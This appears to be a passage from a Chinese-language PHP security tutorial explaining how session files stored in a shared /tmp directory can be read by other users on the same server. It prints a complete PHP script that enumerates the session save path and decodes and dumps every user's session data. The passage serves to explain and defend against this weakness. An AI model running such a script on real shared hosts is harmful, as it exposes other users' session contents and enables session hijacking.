会话数据暴露

当你关注于防止源码的暴露时,你的会话数据只同样存在着风险。在默认情况下,SESSION保存在/tmp目录下。这样做在很多情形下是很方便的,其中之一是所有用户都有对/tmp的写入权限,这样Apache同样也有权限进行写入。虽然其他用户不能直接从shell环境读取这些会话文件,但他们可以写一个简单的脚本来进行读取:

<?php

 

  header('Content-Type: text/plain');

  session_start();

 

  $path = ini_get('session.save_path');

  $handle = dir($path);

 

  while ($filename = $handle->read())

  {

    if (substr($filename, 0, 5) == 'sess_')

    {

      $data = file_get_contents("$path/$filename");

 

      if (!empty($data))

      {

        session_decode($data);

        $session = $_SESSION;

        $_SESSION = array();

        echo "Session [" . substr($filename, 5) . "]\n";

        print_r($session);

        echo "\n--\n\n";

      }

    }

  }

 

  ?>
View Code

相关文章: